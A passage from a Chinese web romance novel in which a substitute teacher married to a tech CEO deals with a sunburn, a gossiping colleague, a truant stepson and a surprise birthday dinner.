对方在圈内堪称传奇,作品几乎拿下各大奖项,而且是娱乐圈出了名的伯乐——多少籍籍无名的新人经他调教后一飞冲天,成为影帝影后,只是三年前他突然淡出影视圈,业内都以为他不会再出山,谁能想到对方会默默筹备新剧本。 光是这个消息,就已经让魏雅比其他人领先了一大步。 金苒明白这一点,由衷替魏雅感到高兴。 原书中的魏雅虽然最后也成功了,但她隐约记得是靠着某位痴缠她的男配牵线才获得机会,正是这段不清不楚的利益关系,后来成为男女主之间最深的芥蒂,引发了不少误会与虐心戏码。 如果能通过陈导的选角,说不定魏雅未来的路能够走得顺一点。 “太好了,这样的机会可遇不可求,一定要去试试,就算没选上,能见到陈导也是难得的经历。” 魏雅也是这样想的。胸中涌起久违的斗志,她望着为自己真心欢喜的金苒,又看了眼前排的江明羧,眼眶微微发热。 现在的她除了一身债务什么都没有,只能在心底暗暗发誓,等以后有机会,她一定好好报答他们。 / 与此同时,和失魂落魄的表哥一起回家的徐珍,半路突然大叫一声。 “我想起来了!” 她猛地一拍座椅靠背,眼睛亮得吓人。 王琛被她吓得一哆嗦,方向盘险些脱手,不由气道:“你想起什么了?” “苒苒的老公是谁!” 徐珍手忙脚乱地掏出手机,在搜索栏输入“明技科技董事长”,结果跳出来的瞬间,她倒吸一口凉气——虽然只有寥寥几张公开照片,但那张英俊.逼.人的脸,分明就是今天见到的男人! 所以每天和她一起吐槽家长、上司的小姐妹,一起抢食堂特价菜吃的饭搭子,实际身份是豪门夫人?! 徐珍突然觉得这个世界变得玄幻起来。 第44章 第44章他们是什么关系? 金苒是在晚上洗澡的时候,发现自己的后脖颈有点儿疼。 温热的水从头顶淋湿头发,飞溅到白嫩的皮肤上面,瞬间像被火燎了似的,激得身体微微一颤。 一时间,她还以为自己被虫子咬了,因为怎么看也看不到,不得不顶着湿发去找旁人。 江明羧掀起她颇为厚重的头发看了看,然后说:“不是虫子,是晒伤。” 就是晒得有些厉害,后脖颈通红一片,有些地方还起了皮。 金苒不可思议:“可我明明都涂防晒了!” 她跑到衣帽间,从包包里拿出那瓶防晒,仔细查看,才发现保质期刚过了两天。 “……” 那边,江明羧已经给魏漠打电话,对方听说情况后立刻推荐了几种药,他正拿着手机研究外卖软件,再次从房间出来的金苒不经意瞥到外面半黑的天色,本来疲惫不已,这会儿却莫名来了精神:“我记得小区外面有个药店,不如我们出去买吧!” 江明羧指尖一顿,目光在她脸上划过,随即收起手机:“行。” 两人简单收拾了一番。 考虑到只是在小区内活动,金苒套了件oversized的浅白色吊带小衫,搭配一条修身的牛仔裤,至于江明羧,则换了一身居家的衬衫。 这让金苒怀疑,他的衣柜里是不是只有西装和衬衫。 等出来后小风一吹,她就知道对方的决定有多么对了,因为今天晚上居然有点冷! 别墅区入住率不高,夜晚便显得格外有些静谧,路上偶有散步的邻居牵着狗狗路过。 两人肩并肩并行,金苒抱着双臂,只觉得鸡皮疙瘩都起来了,为了转移注意力,她有一搭没一搭同人聊天:“今天我给你发消息的时候没有吓到你吧?” 江明羧承认:“有一点,当时刚考察完工作,大家都在饭局上。” 闻言,金苒突然有种不太好的预感:“那其他人也听到了?” 江明羧轻咳一声,掩饰住那点儿细微的笑意:“林总本来正在说他凭三十块钱赚了十个亿的发家史,后来嘴还张着,声音没了。” 原本是件尴尬的事情,但经过江明羧这样一描述,金苒没忍住也笑起来:“这可不怪我,林总要是记仇打断他吹牛的锅,也该记在你头上,不过这样一 来,你的名声算不算毁了?以后那些老总谈起你,肯定都说你是老婆奴。” “没事。”江明羧并不在意,“他们不会当着我的面说。” 金苒顿时哑口无言。 这就是坐拥科技巨头公司大佬的底气吗。 任他八面来风,我自岿然不动。 “何况这并非坏事,”江明羧脚步慢下来,在金苒没有注意到的情况下,不着痕迹从里道走到外面,宽大的身形遮挡住了大半的冷风。 “以后有些饭局他们会自动把我排除在外,杜绝麻烦,而且……” 他眼睛觑过去,语气很是平静:“以我们的关系,那条语音很正常。” 金苒眸光微闪,他们的关系……他们是什么关系? 她又想起了山下的那些话,字字句句不受控制的在脑海中回荡,这让她心里仿佛有根羽毛似的在挠痒,他知道她不是“金苒”,那真实的自己在他心中是什么样的形象呢? 思绪泛起一点点涟漪。 金苒就是这样一个人,每当确认安全无虞时,总是按捺不住想要往前进一步,一如在这场猜来猜去的游戏中,她察觉到了江明羧释放的安全信号,并且完美接收,然后开始得寸进尺。 就在她全身的每一个细胞都在叫嚣着去试探那若隐若现的边界时,走在身旁的江明羧突然停下脚步。 “到了。” 金苒抬起头,看到夜色中散发着白光的灯牌,莫名有些失望。 还没来得及试探呢。 江明羧却未发现她复杂的心思,率先抬脚走了进去,他把需要的药名告诉药师,等对方拿出来后,仔细查看,然后耐心询问了用量和注意事项。 至始至终,金苒都静静站在一旁,看着他游刃有余地处理这一切,不需要她费心,甚至不需要她开口,所有事情都被安排得妥帖周到。 某一刻,她忽然理解了小说里那些被偏爱的女主角。 谁能抗拒这样的温柔呢? 回到家,再次用湿毛巾擦拭后脖颈,金苒费力地双手反剪到背后,她头发太多了,哪怕扎在头顶,也有许多碎发垂落下。 而她的工作就是将那些碎发全部拢起来。 电话响起来的时候,江明羧正轻蹙着眉,按照药师说的用量把药水给她涂抹到晒伤的皮肤上。 “谁的电话?” 金苒像被贴了定身符的鬼魂,全身上下只有眼睛能动,可怜巴巴询问江明羧。 后者瞥了一眼,念出备注的名字:“徐珍。” 如果没记错,今天玩游戏时的那个女生裁判就叫这个名字,和金苒同一批进入文承中学的代课老师:“要接吗?” 他问。 “接吧。” 金苒正好想拜托徐珍给江许黎补习,语文学习也讲究技巧,她之前旁听过徐珍的课,别看人长得小巧可爱,讲课非常严肃。 而她觉得江许黎那样有脾气的学生,正好需要徐珍这样的老师。 没想到一接通,电话那边便传来穿透力十足的呐喊:“苒苒!你瞒我瞒得好苦啊!” 金苒吓得一个激灵,差点从椅子上弹起来,江明羧眼疾手快,一把扣住她的肩膀,才避免药水洒掉。 两人不约而同松了口气。 金苒这下更加老实了,语气有些无奈:“我瞒你什么了?” “我一直以为你是单身!” “可是你也没有问我啊,总不能让我见一个人就要说我结婚了吧。” 徐珍一噎,觉得有道理,等等,不对! 她猛地反应过来,差点被这丫头带沟里去:“可你的对象是江明羧!江明羧啊!堂堂明技科技的董事长,身价过千亿的富豪!”重要的话连着说三遍,“而你,我的好朋友,是明技科技的总裁夫人!是真正的豪门太太啊!!!” 字字句句,椎心泣血,声嘶力竭。 被质问的金苒:“……” 一不小心听到的江明羧:“……” 气氛有些尴尬。金苒心想,如果你知道你口中的这位千亿总裁就在我旁边,不知会做何感想? 好在江明羧什么也没说,继续安静地帮她涂抹药水,金苒这才舒了口气。 而后听着电话那头徐珍逐渐拔高的声调,略微心虚。她确实有意向同事隐瞒了自己的身份——倒不是瞧不起他们,只是怕引来不必要的麻烦。 领导和同事不一样,校长知道她的身份,后续许多事情都要好办些,但如果让其他同事知晓,反而会惹来闲言碎语——尤其在她尚未做出成绩时。 不过瞒着朋友着实不应该,金苒本来还打算抽空告诉对方的,只是没想到两人会突然见面。 她刚准备道歉,就听到徐珍崩溃道:“早知道你是豪门太太,谁还陪你天天吃食堂啊!我要吃米其林!吃黑松露!吃帝王蟹!” 金苒:“……” 不愧是她最好的饭搭子,时时刻刻不忘吃的本性。 紧抿的唇角不自觉扬起,她心情松懈下来,语气也变得轻快,笑着说:“如果你喜欢,等下周教师编面试完,可以来我家里吃。” 虽然王厨做不来路边小吃,但徐珍点名要的那些菜式,都是他的拿手绝活。 徐珍当然不会拒绝,她对现在的好姐妹可太好奇了,不止好奇豪门生活,还好奇金苒的那位另一半。 于是某一刻,她压低嗓音,贼兮兮问:“苒苒,你和江总是怎么认……” 疑问尚未完全出口,恰在此时,江明羧的指尖不小心蹭到晒伤处,金苒顿时轻嘶一声:“疼,你轻点……” 电话那头瞬间安静。 随即传来徐珍慌乱的倒吸气声:“对不起,我不知道……哎呀,我不打扰你们了,再见!” 然后迅速挂断了电话。 徒留还没有反应过来的金苒对着嘟嘟嘟的手机,露出一脸的茫然:“她怎么了?” 江明羧的动作不知何时停了下来,他收回手,药水被体温揉化开,空气中散发着一股刺鼻的药味,闻久了让人有些眩晕,听到她的问题只是淡淡道:“大概想象力太丰富了。” 金苒很是认同,点了点头:“她想象力的确很丰富,而且还特别爱看小说,上周还说要给我推荐一本小说。” 江明羧:“是吗?什么小说?” “说是什么破破市的恨男恨女打架的故事,听着像是武侠小说,等她拿给我后我再给你看。”金苒大方道。 “好。” 夫妻两人就这样平静地交流完,眼看时间不早,彼此告别之后各自回房休息。 金苒累极了,几乎躺下就睡着,隔着几扇墙的另外一个房间,江明羧揉了揉鼻梁,总感觉能闻到若有如无的药味。 无奈再次起身,去浴室淋了个冷水澡,才在暮色中缓缓闭上眼睛。 第45章 第45章会有这么巧的事情? 第二天,金苒起床下楼,看到坐在餐桌前用餐的江明羧,像往常一样打了声招呼:“早啊。” “早。” 共同生活在同一屋檐下,再怎么避嫌,也会逐渐熟悉起来,比如此刻,金苒便发现了一向在早餐期间喝豆浆的江明羧,今天喝的居然是咖啡,还是加了冰块的。 她有些好奇:“今天家里磨的咖啡?” 江明羧淡定端起杯子:“突然想喝,就让厨房磨了些,要尝尝吗?” 金苒欣然接受他的提议,咖啡有利于消肿,她摸了摸自己白嫩到Q弹可破的脸蛋,虽然丝毫不见水肿状态,但不影响她想让自己更美一些。 印象中,那些都市丽人、名媛精英,总是在上班期间端一杯冰美式,高跟鞋踩在光滑鉴人的地板上,哒哒哒的踏出靓丽风采,在幼年很长一段时间里,都是金苒对自己未来的设想。 结果到嘴一喝,险些苦得她吐出来,最后无奈加了三勺糖才勉强罢休。 算了算了,她当不了都市丽人,还是努力朝教导主任努力吧。 等到江许黎睡眼惺忪出现,三人一同用过早餐,上班的上班,学习的 学习,只剩下金苒一个人,颇有些无所事事。 想了想,她还是把倒背如流的面试题目拿出来,从头到尾背了一遍,加深印象,然后对着摄像头给三花猫试讲两节课,再快速剪辑打码上传到“猫咪的数学课堂”。 她许久没登录这个账号,这次一登上便被后台的消息提示给惊到了,五万的点赞,三万的收藏,再看阅读量直接达到了四十万。 嗯??? 金苒像个刚上网的老年人一般,拿着手机研究了好一会儿,最后意识到是因为自己教江许黎语文的那条视频突然爆了,被算法推到了首页,于是又小爆了一波。 她随便点开评论,置顶便是一条百来字的哈哈哈哈,点赞2.2w。 下面网友们也是各显神通。 【语文是数学老师教的,数学是体育老师教的】 【终于找到家人了,这些年我语文成绩差到我妈一直以为我是弱智】 【每次考语文的时候,总感觉人中痒痒(太君表情包)】 【听不懂,我去喂鸡了,勾勾哒勾勾哒】 【翻了翻这个猫咪博主好像是数学老师,啊啊啊,猫咪老师救我狗命!】顺手在评论里贴出一张数学题。 金苒被网友们的评论逗得笑个不停,连江许黎拿着汽水从旁边经过都没注意到。少年瞥了眼自己手里的碳酸饮料,想起她向来不爱喝这个,便心安理得地走开了。 网友留在评论区的题目属于高中难度,恰好是金苒现在上课教授的内容,她脑子里早就掌握了一大堆课堂经验,对学生容易卡壳的环节了如指掌,于是非常顺手便帮网友把题目做出来。 步骤列的很是详细,怕对方听不懂,甚至还耐心地发了一条语音。 之后,她换上一身运动服,决定出门练车。 距离报名已经过去大半个月,自己一次也没有露面,倒是驾校的教练隔三差五在微信上催她,语气卑微,言辞恳切,导致金苒都觉得有些对不起人家。 偏偏她从未说过什么,江明羧和管家也没有插.手,思来想去只有是教练自己脑补了豪门的架子,硬生生把自己逼成了热锅上的蚂蚁。 这次出门前,金苒再次把自己裹得严严实实,化学防晒还是不如物理方式,她打定主意即便到了地方也不摘帽子。 驾校在A市的另一边,有点儿远,到达的时候,教练亲自迎了出来。 对方是个四十多岁的中年男人,一身腱子肉,而且只有金苒一个学生。 简单讲解后两人上车实操。 要是说不紧张是假的,在此之前,金苒刷到过许多练车视频,那些教练的嘴巴一个比一个毒,永远年轻,永远骂人难听,她怕待会儿的自己也要经历那般摧残。 没想到她的教练人长得五大三粗,脾气却是很好,自始至终乐呵呵的,哪怕金苒多次熄火,也没有不耐烦,而是陪着她一次次地重新尝试。 不愧是管家联系的人,素质就是高! 金苒逐渐放松,而精神松下来之后,理解起来反而更加容易,原本经常出错的倒车入库,居然成功倒进去两三次。 烈日当空,暑气蒸腾驾雾,练完车的金苒热得有些发晕,便和教练约好下次时间,提前离开了驾校。 回别墅需要半个多小时,她摸了摸咕咕作响的肚子,索性让出租车师傅调转方向,打算先找个地方填饱肚子。 谁知刚拐进商业街,就撞见了在附近看店面的林太太。 林太太这段时间一直筹备自己的服装店,前期准备完毕,现在到了选址阶段。 “我手里倒是有几个空闲的门店,但地址都太繁华了,吵得不行,去那儿还不如回家呢。” 金苒第一次听说这样的烦恼,像林太太这样的人开服装店,比起赚钱,爱好才好第一要素,何况对方只要开起来,就会有圈子里的人脉赏脸,根本不用担心销量。 于是她便没有贸然开口,林太太也只是单纯抱怨,简单和她聊了几句,转而压低嗓音八卦起另外一件事情:“你还记得上次和你说的简二嘛。” 金苒眸光微闪:“记得,我的‘绯闻男友’嘛。” “就是他!”林太太捂着嘴笑,神情充满鄙视,“今天早上,他被人爆出包养了十几个小明星,经常一大堆人出入酒店,最可怕的是,这些钱全部是从项目工程款里抠出来的!,消息一出来,简家的股票下跌11.5%,惹得简总扬言要把人赶出家门。” 十,十几个? 闻言,金苒瞪大眼睛,发自内心感到震惊:“没想到他是这样的人啊!” ——原身带着“秘密”的分手,现在看来居然真的分对了! 不过……世界上会有这么巧合的事情吗?昨天他们刚在丘平山遇到简二骚扰女主,今天关于对方的丑闻就爆了出来。 她抿了抿唇,心里忽然闪过一念头,是江明羧做的吗? “对啊,这才是真的人不可貌相。” 林太太啧啧称奇,更加不相信关于金苒的那些传言:“对了,上次说我侄子要择校,等我找好服装店的地址后,就去你们学校考察一番。” 金苒一下子从思绪中回过神。 原本她以为自己还需要等一段时间,没想到林太太会主动提及:“好啊,既然是为了考察,最好让学生也过来看看,毕竟是孩子要待三年的地方,得让他们满意。” 林太太自然答应下来。 / 次日,金苒上班的时候,第一时间便将好消息告诉了校长。 不为别的,至少得让校长知道她并没有偷懒,诚实是美德,但职场中的过分谦逊却不一定是什么好事,说不定只会换来加倍的琐事和遥遥无望的升职加薪。 金苒可不打算白给学校当牛做马,她把自己这段时间的辛苦一五一十讲了个遍,听得校长感动不已。 又得知林太太想来学校参观,校长沉思片刻:“还有半个月就进入考试周,现在学生的学习劲头正足,不如办个家长参观会?届时再安排几个学生表演节目,让家长们看看我们学校德智体美全面发展的成果。” 金苒当即竖起大拇指:“怪不得您是校长,我就想不到这么好的注意。” 校长被恭维地见牙不见眼,一高兴,便顺嘴应承道:“既然家长是金老师邀请的,那这件事情就全权交给金老师负责吧。” 没想到还有意外之喜! 对于送到手的“权力”,金苒当然不会拒绝,她非常痛快地接下任务。 其他老师知道后,纷纷感叹她精力旺盛:“每天备课上课改作业都快把人榨干了,实在没力气再折腾其他活动。” “年轻人就是厉害啊。” “不过小金办事确实靠谱,”有老师插话道,“看看之前那个搭档学习法,现在连高二的年级都跟着效仿,要是这次是其他老师负责,我还担心呢,既然是小金,我可得叫我外甥女来观摩学习。” 金苒笑着说:“我的课程少,闲着也是闲着,帮学校做点儿事情,争取早日转正。” 大家喜欢的就是她这股子生机勃勃的劲头,听到她的话才想起来金苒尚且属于代课老师,不由得鼓励:“面试不难,肯定没有问题。” “我这里还有一份当时看过的资料,等会儿发你。” 对此,金苒一一谢过,眼看时间差不多,拿起纪律本出门巡查课堂纪律。 每个学生的记忆里,背后总有那么一双眼睛,在他们疲惫困顿的时候,给予他们“爱”的关怀和督促。 金苒觉得自己就是天生当教导主任的料子。 因为在没有人教她的情况下,她就已经无师自通了从后门偷看的技巧,这不,刚到七班后门,金苒就注意到几个学生在早自习嬉戏打闹。 严重影响了旁边学生的学习。 金苒:死亡凝视。 打闹的学生们浑然不觉,只是莫名觉得后颈发凉,直到被他们影响的魏岑惊喜地看向后门,几个学生才惊觉老师的存在! “扣分!” 金苒面无表情地记下几人 名字。离开时,看到魏岑眼巴巴望着自己的模样,脸上的严肃表情忍不住破功,笑着朝对方摆了摆手。 “黎哥?” 陈训良见江许黎正走着,突然停下脚步,便顺着对方的视线望过去。 下一秒:“卧槽!快走快走,千万别让你后妈看见我们!” 他们好不容易才趁着早上没有数学课逃出来,要是被金苒逮到可全完了。江许黎这才如梦初醒,可还没等他行动,刚从七班后门出来的金苒已经锁定了可疑身影。 “前面那两个!哪个班的?” 清亮的呵斥声在走廊炸响,那一瞬间,江许黎和陈训良想都没想,转身拔腿就跑! 第46章 第46章好霸道!好男人!好般配…… 可惜的是,他们这次却没能够跑掉。 楼梯口,金苒一手拿着笔,一手撑着栏杆,纤细的身子半挡着离开的前路。 而她的对面,则是逃课被抓现行的江许黎和陈训良,两人面色尴尬,目光游移不定,看左看右,就是不敢与她对视。 金苒挑了挑眉,现在知道装乖了? 要知道上周末爬山时,江许黎已经自来熟到故意不接她的纸牌,并和其他人一起兴致勃勃地看她出糗。 “说吧,逃课干什么去?” 江许黎抿了抿唇,语焉不详道:“咳,有点事。” “什么事?” 江许黎不吭声了。同行的陈训良张了张嘴,本想解释,可瞥见黎哥那副宁折不屈的模样,于是也闭上嘴。 他绝对不出卖自己的兄弟! 对于这个情况,金苒竟也觉得意料之中。 如果江许黎会乖乖听话,那他就不是让老师们头疼的问题学生了。 思及此,她拿出纪律本唰唰几下,面带笑容地下达判定:“逃课未遂,每个人扣一分。” 闻言,陈训良暗自松了口气。 这个月他因为逃课次数少,学分还剩下十分,被扣一分问题不大,转身准备离开,谁知却被金苒再次拦下。 “谁准你们走了?” 她似笑非笑,目光在两个少年身上扫了一圈,随后不容拒绝地一挥手,“跟我来。” 面对她温柔的强势,江许黎和陈训良对视一眼,在彼此眼中看到了同样的疑惑,直到被带进空荡荡的大礼堂,手里各塞了一把拖把。 “好好干,别偷懒哈。” 金苒笑眯眯地拍了拍他们的肩膀,一点儿也没有压榨童工的心虚,她这是未成年勤劳改造,“早自习结束后我来检查——要是没拖干净,再加罚一圈跑步。” 江许黎:“……” 陈训良:“……” 等金苒离开,陈训良望着偌大的礼堂,顿时垮了脸。 “不是吧,这么大的地方什么时候才能打扫完啊。” 江许黎并不搭理他的抱怨,见金苒没有追问,他心中其实松了口气,此刻懒洋洋拿着拖把去打扫卫生,没一会儿,陈训良跟过来:“黎哥,你怎么不告诉她我们是去给你爸拿礼物啊。” 没错,两人之所以一大早逃课,是因为之前预定的东西到货了,怕被别人买走,只能趁着早自习溜出去取。 江许黎斜睨他一眼:“我为什么要说?” “那样说不定她就会放过我们了。” 江许黎用看傻子的眼神看着他:“说不定她只会打电话告诉我爸。” 陈训良:“……” 靠!进也两难,退也两难,还让不让人活了! 没办法,只能拿起拖把认命地为学校做奉献。 两人不知道的是,他们这边努力工作,另一边文承中学的论坛因为他们,又又又炸了。 【报——JXL和小弟二进宫,那位新来的女老师是真的强!】 【小江以前是个很要强的男孩子,但以后可以不用要强了,因为你的强来了(墨镜叼花)】 【打听清楚了,女老师是三班的数学老师,搭档学习就是她先提出来的】 【怪不得三班最近学习热情高涨,听说他们的游戏很好玩,但我们班主任只学了个半吊子,不仅把游戏改得无聊透顶,还逼着我们上晚自习】 【老实说,对JXL失望了,以前一直觉得他是个天不怕地不怕的硬骨头,结果现在轻飘飘就被一个老师给吓住了,怂得连屁都不敢放一个,简直丢人现眼!从今天起,我正式宣布——JXL被踢出‘文承七霸’的队伍!他不配再跟我们称兄道弟!以后谁再提他跟我们是一伙的,别怪我翻脸不认人!】 【楼上哪里来的神经病?】 【玩抽象吧,兄弟劝你以后轻易不要玩抽象,没有人懂你】 【退网退网,老师来了】 / 金苒虽然存着让两人反省的心思,但也没有压榨太久,早自习还没结束,她就过来叫停。 而后递过去两张请假条:“第三节课的四十五分钟,已经帮你们请好假,但必须按时回来。” 江许黎明显愣了一下。 这时候,一旁的陈训良已经一个箭步冲上前把请假条接过去:“金老师,你真是我的亲老师,从今天开始我小陈的命就是你的,你说往左我觉不往右,不过为什么是第三节课啊?能换成第一节吗?” 他得寸进尺地打商量。 金苒没好气地白了一眼:“想的怪美。” 之所以批准第三节课当然是因为第三节课是体育课,本来就是学生们放松的课程,既不会耽误正课,又能让他们把该办的事办了,一举两得。 她正为自己的小聪明而洋洋得意,突然听到耳边传来一声冷清的声音:“谢谢。” 金苒抬起头,对上了一双黑白分明的清亮眼眸,少年眼睛一眨不眨地望着她,桃花眸子迤逦着扭捏和认真。 “谢谢你的这份请假条。” 说这话的时候,江许黎耳尖隐隐发烫。 他是真心感谢金苒,从爬山那日的耐心倾听,到亲自替他联系补习老师,再到如今问都不问给他们签请假条,不知不觉中,他已经不再像一开始那样排斥这个女人,甚至有时候,连他自己都忘记了当初亲口说的“陌生人原则”。 她其实……挺好的。 这个认知在心中盘旋,沸腾,然后愈演愈烈,最终打碎少年人可笑的固执,某一刻,他终于下定决心,满怀真诚,一字一句将自己感谢说出口。 金苒沉默了会儿。 金苒默默往后退了两步,警惕地看着他:“不管你是哪个妖精,赶快从小黎的身上退下来!” 江许黎:“……” 扭头就走。 不一会儿,身后飘来女人的带着笑意的提醒:“四十五分钟,如果回来晚了,直接按旷课处理,扣三分!” / 明技科技,王特助在底下翻看日程的时候,突然想起今天是老板生日。 往年公司事务忙碌,家里也没有旁人,江总的生日一般过得很是敷衍,有时甚至就在会议室里吃个简餐应付过去,但如今明技科技一切步入正轨,各项业务稳步推进,生活方面,江总新婚燕尔,家有娇妻,和少爷的关系也肉眼可见的好转,自然和以前有所不同。 作为总裁身边最得力的助手,王特助不能视而不见,于是在汇报完工作后,他特意订了份精致的蛋糕,亲自端进总裁办公室:“江总,今天是您的生日,我代表全体员工祝您生日快乐。” 江明羧微微颔首:“有心了。” “这都是我应该做的。” 王特助笑着回答,瞥了眼空空荡荡的办公桌,顺势提议:“反正今天没什么重要日程,厉副总也在公司坐镇,您不如早点回去和家人一起庆祝?” 他说得顺嘴,说完之后才意识到这话有些越界,正想往回找补几句,却见坐在那儿的江总罕见地露出了犹豫的神色。 这个反应让王特助心头一动,找补的话没有说出口,反而继续劝道:“您一年到头都在忙工作,生日这天提前下班也无可厚非,而且太太肯定盼着您回去,说不定已经准备了惊喜和烛光晚餐。” 江明羧轻飘飘看了他一眼。 之前怎么没有发现王特助能言善道? 不过为他准备惊喜和烛光晚餐这件事情是不可能的,她或许连今天是自己的生日都不知道。沉默片刻,他忽然开口问:“你的生日,一般是怎么过的?” 王特助心想还 能怎么过,平时工作忙得脚不沾地,生日那天能准时下班就不错了。他和女朋友通常会去一家平时舍不得去的餐厅,吃顿好吃的,再买个蛋糕带回家,两人关了灯,对着蛋糕吹蜡烛许愿。 不过这样的平民生活,显然不适合说给总裁听。 脑子飞快转动,王特助一边回想着看过的电视剧和豪门生活,一边斟酌着开口:“江总知道,我还没有结婚,但有女朋友,所以我们一般是去吃饭,看电影,或者去听音乐会,出门旅游,如果有什么特别喜欢的事情,也可以在生日这天去做。” 他谨慎道:“如果江总需要,我可以联系餐厅,或者让秘书室准备几套方案。” 江明羧神色平淡:“只准备餐厅就好。” 毕竟金苒要上班,江许黎还在读高中,三人能够凑齐的时间也就清晨和晚上。 王特助提议的其他活动,确实都不太实际。 因为校长的委任,金苒上完自己的课程后,就开始埋首做计划。 结果第一步就被卡住了,她没有经验,不知道一项活动需要考虑哪些方面,好在学校之前的大型活动都有记录,她把这两年的活动找出来,参考着那些记录,初步起草了一个关于“家长参观会”的流程图。 除此之外,校长还要求学生表演才艺,让参观的家长们看到积极向上的学生风貌。 老实说,这也是让金苒头疼的地方,眼看着马上要到期末周,虽然文承中学注重学生的全面发展,但学生的成绩同样不能忽视,让复习的学生抛开学业去准备才艺,实在有些说不过去。 正思考着要如何解决这个问题,手机收到了江明羧晚上出去吃饭的消息。 金苒看着发过来的地址,搜了搜发现是家评分很高的法餐厅,只看评论区的图片就足让人垂涎三尺。 不过,这段时间他们出门吃饭的频率是不是有些高啊。 难道今天是什么特别的日子? 这样想着,她打开手机日历,六月十五,好像也没有什么特别的,便以为只是江明羧想吃外面的食物,顺嘴答应下来。 等到傍晚放学时分,金苒收拾完教案准备离开办公室,刚巧碰上忙碌了一整天的徐珍,对方原本埋头用微信和家长沟通,看到她后立刻凑过来,目光瞥见女人脖颈贴着的药膏,和药膏下露出来的那点点红,顿时露出了然的神色。 啧啧啧,故意在这种显眼的位置留下痕迹,算不算是某种宣示主权的行为? 好霸道!好男人!好般配! 徐珍一点儿也没有为自家表哥难过,反而被脑海中脑补出来的画面激动地嗷嗷叫。 可惜再好的朋友这种事情不好提,她揶揄地笑了笑,把之前提及的小说塞进金苒的包里:“东西拿来了,友情提示等回家后再看。” 金苒无语,什么啊,一本小说而已,至于这么夸张嘛。 徐珍露出你不懂的表情:“放心吧,看完后,保准你哭着求着请我吃饭!” “……”说的好像魔法世界中的卷轴似的,金苒搞不懂她这副神神秘秘的模样是做什么,但还是听从了意见,等小孙开车过来,她和江许黎坐上车,顺手把包包放在了旁边的座位上。 第47章 第47章温软的触感擦过脸颊…… 法餐厅位于五层。 身着白衬衫、打着黑色领结的服务员恭敬地将他们引上楼。 金苒本以为只是个稍微高档的餐厅,结果到了之后,才发现只有他们三位客人,因为整个五层都被江明羧包了下来。 典雅复古的西式装修,鼻尖飘荡着清淡的木质调香薰,如同踏入了雨雾天的森林。 中间的胡桃木舞台上,一位西装革履的小提琴手正动.情拉着让人心醉的曲子,四周被白色玫瑰花环绕。 金苒走近些,看到了桌子上摆着两支点燃的蜡烛。 “咦,这家餐厅还有烛光晚餐?” 语气难掩惊喜,她的职业目标是严肃的教导主任,但掩饰不了她内心深处藏着一个喜欢浪漫的小女生。 此刻看到这副场景,金苒表现得很是高兴,隔着恍惚的灯光,她笑着问他:“你怎么找到这种地方的?” 尽管法餐厅各种高大上,可怎么看也不像是商业合作的场所,平日里的江明羧除了工作应酬,基本公司别墅两点一线,很难想象他会知道这样的地方。 难道是带其他女人来过? 金苒不由得眯起眼睛,心中刚有所猜测,对面的江明羧便开口打破了她的胡思乱想:“是王助理安排的。” “那个经常去我们家的特助?” “嗯,我让他帮忙预定餐厅,至于地点,我也是到达后才知道。”他语气听着有些无奈。 那清场大概也是王特助做的了。 金苒若有所思的想着,脑海中浮现戴着黑框眼镜,一脸憨厚的王特助,因为对方的穿着打扮,她一直以为是个木讷的人,没想到竟然走浪漫路线。 嗯,至少比他的上司浪漫多了。 说话的间隙,江明羧已经站起来帮她拉开座椅,金苒轻声道谢,顺势在他对面落座。 这么久的相处时间,不止她了解他,他也对她有一定的熟悉。 比如吃饭的时候金苒喜欢坐在别人的对面——江家没有食不言寝不语的规定,但因为父子两人都不是爱说话的,所以餐桌上向来冷清。 可金苒却不一样,大概受上辈子的影响,她习惯了一天结束之前,和家人在饭桌上闲话家常,分享彼此的见闻,因为她的带动,江家的餐桌也逐渐从无声,变得偶尔响起笑语。 总而言之,只要出来吃饭,金苒和江明羧一般是面对面而坐。 那么问题来了。 江许黎盯着剩下的唯二两个位置,陷入了纠结。 他既不想挨着他爸坐,也不好意思挨着金苒坐,那他应该坐哪里呢? 十五岁少年的心思敏感又别扭,他会偷偷用零花钱给父亲买礼物,也会受不了和老父亲的亲密。 内心吐槽王特助越来越不会办事,现实中,他犹豫的时间过于长,已经坐下的金苒便朝江明羧眨眨眼,揶揄道:“愣着干什么,你儿子等着你给他挪座椅呢。” 闻言,江明羧淡淡望过去。 江许黎一个激灵,彻底清醒过来,唯恐他爸真的给他挪座椅,赶紧一屁股坐在了最近的位置上。 算了,肩并肩也没有什么不好,至少吃饭的时候看不到那张严肃的脸。 至于金苒好奇的清场,江许黎却是见怪不怪。 他爸好歹是个公司的总裁,没道理过生日还要和一群人挤在一起。 摸了摸口袋里的东西,犹豫了会儿,终还是没有选择当面拿出来。 买这份礼物存了点儿小心思,他想趁着暑假去W市,又担心期末的成绩达不到江明羧的要求,索性买点儿东西贿赂他爸。 思及此,江许黎抬头看了一眼不知道听见什么,笑得眉眼弯弯的金苒。 自己还是跟她学的。 而且看他爸的样子,应该是吃这一招的吧? / 金苒以为今天的活动就是出门享用西餐。 所以当服务员端上来酒水,她哪怕不爱喝酒,也非常给面子的喝了一杯。 只有一杯,再多的是没有了。 因为她对自己的酒量还是非常清楚的,不至于一杯倒,但每次沾酒必犯困,要是喝得多些,甚至能站着睡过去。 从餐厅出来,迎面冷风一吹,金苒混沌的头脑稍微清醒了些,等回到家,她洗漱完躺在床上,一时间却没了睡意,忍不住复盘起今天发生的事情。 先是江明羧莫名其妙请客吃饭,选的还是人均几千元的高档法餐厅,再然后是现场的小提琴演奏,浪漫的烛光晚餐,以及饭后精致的甜点,怎么看都有些不同寻常。 越是复盘,思维越是活跃,到后面,她干脆精神抖擞地重新爬起来,随手披上一件奶白色的长款针织衫走出卧室。 她想起徐珍送的那本书被放在客厅的沙发上,决定下楼取回来当做消磨时间的睡前读物,不料刚一出门就撞见了来送礼物的江许黎。 后者已经在门口徘徊了好一会儿,因为种种原因,手里的东西始终没有送出去。 此刻看到金苒,江许黎灵机一动,想到如果自己一个人送礼物多少有点儿不自在,但两个人一起的话,肯定就没有那么尴尬。 于是试探着问:“你的礼物给了吗?” 金苒:“?” 礼物,什么礼物? 江许黎见她神情茫然,也跟着迷茫起来:“你不是一起去餐厅吃过饭吗?” 既然吃过饭,肯定知道今天是什么日子,他皱皱眉,难道她已经提前把礼物给他爸了? 有时候,误会就是这样产生的。 金苒听到江许黎的话,心里想的却是:什么意思,今天的西餐居然不是免费的?正准备询问一二,房门突然从里面打开了。 衣着整齐的江明羧半倚着墙壁,一脸无奈地看着他们:“大晚上不睡觉,在我门口聊什么?” 